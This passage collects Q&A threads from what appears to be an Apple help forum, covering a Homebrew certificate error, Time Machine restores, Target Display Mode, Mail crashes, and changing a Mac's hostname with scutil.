More details here: https://curl.haxx.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.
Error: Download failed on Cask 'netlogo' with message: Download failed: https://ccl.northwestern.edu/netlogo/6.1.1/NetLogo-6.1.1.dmg

I am understanding that it is happening due to expired certificate on the website hosting NetLogo installer.

Is there a way to work around this issue? For example is there an argument that could be passed to brew command to make it ignore the error? or provide a resolution? or can I manually download the DMG and place it in the Homebrew cache directory so that Homebrew skips downloading when running the install command?

This is documented here, see also https://curl.haxx.se/mail/lib-2020-06/0010.html and https://security.stackexchange.com/questions/232445/https-connection-to-specific-sites-fail-with-curl-on-macos.

The proposed solution is to set HOMEBREW_FORCE_BREWED_CURL

HOMEBREW_FORCE_BREWED_CURL=1 brew cask install netlogo

If you run Catalina you can use

export CURL_SSL_BACKEND=secure-transport

to have curl not use LibreSSL (which seems to have the issue).

You can also remove the entry for AddTrust from /etc/ssl/cert.pem (it's the first entry in the file, just remove all which expired end of May 2020).


Time machine backup/restore: "This user's data doesn't need to be transferred" So, I had a MacBook Pro 15", Late 2011, that I've been using daily since I got it last October. I set up time machine and every day after work, I would bring my laptop home and plug it into my time machine disk and let it do it's thing. I even used my backups from time to time, when I deleted some bit of code on accident (or on purpose) and decided I wanted to use it after all.

Last week I sold my trusty old MacBook and bought a new MacBook Retina. The guy I was selling it to wanted to keep some of the apps I had installed and he didn't want a full wipe/restore, so I did what I have done before when I sell a Mac: create a new user account and delete the old one, effectively wiping all of my user data.

However, I created the new user and deleted the old one (and ALL of my data) with my time machine hooked up and running.

Now, in restoring my time machine backup to my new laptop, all of my user data is gone. I see my user in the Users list in the Migration Assistant, but under my user name it says "This users's data doesn't need to be transferred."

I tried selecting everything that's available and restoring, but all of my data is gone.

Looking through my backup files, I see the backup for this laptop with all of the different dates. I can expand any of the dates and navigate down into Users, but my user account is gone from every single backup on every date.

Is this an expected behavior? Has anyone ever seen anything like this?

One other thing of note : I had FileVault turned on on the old MacBook, encrypting my home directory. Is there some magic combination of things I need to do in order to restore from an encrypted home directory?

The strange thing is, the restore re-created my user and it remembers my password.  But everything, everything about the account has been lost. Keychain, mail settings, all files and libraries, preferences... The only thing it seems to have kept is my login photo, username, and password.

Just restore from a snapshot that is a bit older than when you did the wiping. If for some reason this isn't easy, you can also delete the folders by time in your backup.

If you have any doubts, you could use a tool like BackupLoupe to make sure you prune only the "bad" backup events and data.


How can I skip the Welcome screen after installing OS X? How can I skip the Welcome Video/Music that comes up after a fresh install of OS X? I believe you could skip this in Windows by hitting ESC, but I cannot find a key that has that same effect in OS X.

Unfortunately you can not skip the opening movie - but you can skip the registration process which shows up later by pressing Command-Q. When the Setup process is complete the file .AppleSetupDone shows up in /var/db. (If this file exists it will skip the Setup process altogether)


Is there anyway to access web version of app store? I would like to see and view those essentials or special landing page that app store has, for example: Essentials for Parents.

I can only view them on app store.

Is there anyway we can access the web view?

These landing page are pretty and I would like to have some idea of the featured banner of each country. It interests me.

You can actually access the app store through a web URL.

It is referred to as iTunes Preview.
It is mostly text links until you land on the product page.

The web addresses are as follows.

All Itunes Selections and Cetegories: https://itunes.apple.com/us/genre/

Just Apps (AppStore): https://itunes.apple.com/us/genre/ios/id36?mt=8


Is there a hashtag on the English wireless keyboard? I have a wireless keyboard and can't find the hashtag. I have found it on my iPhone but can't find it on the mac keyboard

If  Shift 3 doesn't produce #, then try Option/alt 3.

Another less likely possibility is the \ key at the far right.

It all depends on which layout (US/ABC, British, British PC) you have active in system prefs/keyboard/input sources.  Change it to the one that matches the printing on your hardware.


Using iMac in Target Display Mode with a MacBook Pro I'd like to use my old iMac (27-inch, Late 2012) as an external display for my old MacBook Pro (13-inch, Mid 2009).

The hard drive in the iMac is failing, so until I get it replaced, I've installed MacOS Mojave to a thumb drive.  I'm able to boot the iMac, no problem.

However, when I connect the iMac to the MacBook Pro and press Command-F2, nothing happens.

I know the iMac supports Target Display Mode, because I used to use it for that when connecting to my old work laptop.

It's the same cable I used to use, so it's not a cable problem.

I've successfully driven my LG monitor using the Mini Display Port on the MacBook Pro, so I'm pretty sure the port is fully operational.

What could be stopping it from working?

Is there anything about booting Mojave from an external flash drive that might stop Target Display Mode from working?

Or is it possible that the MacBook Pro just can't handle driving that particular display?

Any suggestions on how to get this working?

I don’t know if it’ll work with the Mini DisplayPort. I was stuck in a nasty half boot to grey screen problem last November on my 2011 27” iMac. While I was troubleshooting I tried the mini display port and tried TDM but it didn’t work. So I bought a Thunderbolt cable and then a FireWire cable or vice versa. The Thunderbolt cable worked... but I think the FireWire worked too. Now I’m starting to doubt my memory. I was going the other direction though. iMac TDM on a MBP. I tried the MDP port w/my old 2009 MBP & the 2012 MBP. Neither worked with my iMac. It That was just my experience. It’s worth trying a TB or a FW cable. I just remember the mini display port didn’t work for TDM for me. Which sucked because I had multiple mini display cables/adapters lying around from porting my laptops to the TV but I had a tough time finding the other cables in my town. The only Thunderbolt cable I could buy was super short. That’s how I’m certain that it definitely worked. I had to stack books to get the laptop close enough.   I think I had no choice but to order the FireWire online. Hope you get it to work. :-)


Software to sync external HD and NAS - must work with FAT32 I am a photographer and archive my images on a NAS (LaCie Networkspace), but as this is a single point of failure I also back my images up to an external harddrive. However, when I am away from home I archive my images straight to the external hard drive.

I would like to be able to keep these devices in sync to ensure that al images are on both drives.

Looking at the "Favourite Mac software" question, I saw Carbon Copy Cloner mentioned, which unfortunately only works with HFS+ formatted drives, so I can rule that out. I have also tried LaCie's SilverKeeper software in the past, but could not get this to work correctly. As it seemed to think that there were too many errors and just stopped working each time I tried to sync.

Can anyone recommend some reliable and intuitive software for this task?

I used the Intego sync software that comes with LaCie drives. It wasn't great, but it did the job. It is FAT32 compatible. You can get the free LaCie version here (version depends on the drive; you need the code that came with it). LaCie's instructional article is here.


How can I stop Yosemite’s Mail app crashing when I click on my sent or drafts folder? Since I upgraded to Yosemite a couple of days ago, I’ve had a problem with the Mail app.

Whenever I click on the “Drafts” or “Sent” folder, the app hangs (i.e. won’t accept any input), beachballs, and seems to stay like that until I force-quit it using the Finder (I’ve left it for a few minutes and haven’t seen it crash of its own accord yet).

I’ve tried removing my one third-party add-on (SpamSieve), removing Mail’s saved state, and removing Mail’s container folder, as described here:

http://www.macissues.com/2014/10/19/fix-mail-crashing-after-upgrading-to-yosemite/

I’ve also tried disabling my primary e-mail account (which is with FastMail). After doing that, I no longer have a drafts folder, but clicking on the “Sent” folder still triggers the bug.

Here’s a description of what appears to be the same problem on Apple’s discussion forums: https://discussions.apple.com/thread/6623206?start=0&tstart=0

How can I fix this?

I had a couple of e-mail accounts still set up in Mail which no longer existed on my mail server. I disabled these in System Preferences > Internet Accounts, and since then (which is admittedly only three minutes), I haven’t been able to reproduce the bug.


Edit phone number in phone app Is there a way to edit a manually dialed phone number before re-dialling? Occasionally I have a typo in the number or forgot to add the country code prefix.

The only ways to handle this I know so far is

write down the number and re-dial, or
copy the complete number, paste into a notes/text app, edit there, copy again and paste into the phone app.

Not exactly user friendly.

I'm afraid you are correct in your assumption, once a number has been typed and a call initiated, it is not able to be edited within the phone app directly, and needs to be either sent to a new contact where you can then amend the number, or cut/paste elsewhere to allow you to make changes.


How could I turn my Mac OS back on, if it doesn't turn on with the power button? So my Mac OS has had several kernel panics throughout the day, and it all started yesterday April 7th, 2020 in the afternoon. I use Macintosh HD. As of right now at 9:22 PM my Mac OS won't turn on. How can I get it back on and stop the kernel panics??

Apple has a guide to triage when a Mac wont start, so I typically am methodical to read each step, perform them all in order - one by one.

https://support.apple.com/en-us/HT204267

When it says unplug all accessories, you do have to do all of them, even Apple accessories or things you know work since a good keyboard can still cause a failing USB controller in the Mac to malfunction. If you can get Your Mac to start after isolating it and still it panics before you can log in or get work done, follow the steps for a blank screen.

https://support.apple.com/en-us/HT210905


iPhone 4 Mail Usage Size Problem My email on iPhone 4 consumed 8 GB from usage.  I deleted all mail and the account and there's still 8 GB consumed.  I use STMP mail.  What else do I need to do?.

Did you restart the phone after you deleted the emails? If that doesn't work, try removing that particular email account, rebooting the phone and then re-adding it via
Settings App > Mail, Contacts & Calendar


13" MacBook Air Terminal says " (base) UNKNOWN Usually when I open the terminal, the first part of the command line says (base) john-doe-air, but when I opened it up today, it comes up with the following.

What should I do to rectify this issue? Thank you.
NB: For privacy reasons, I have changed the name to John Doe.

The UNKNOWN part is your computer hostname, for some reasons it changed itself.
You can change the hostname from the Terminal using the following commands :
sudo scutil --set ComputerName "newname"
sudo scutil --set LocalHostName "newname"
sudo scutil --set HostName "newname"

Then flush your DNS cache with dscacheutil -flushcache and reboot your Mac.
You can also change it without using commands, in System Preferences > Sharing > Computer Name.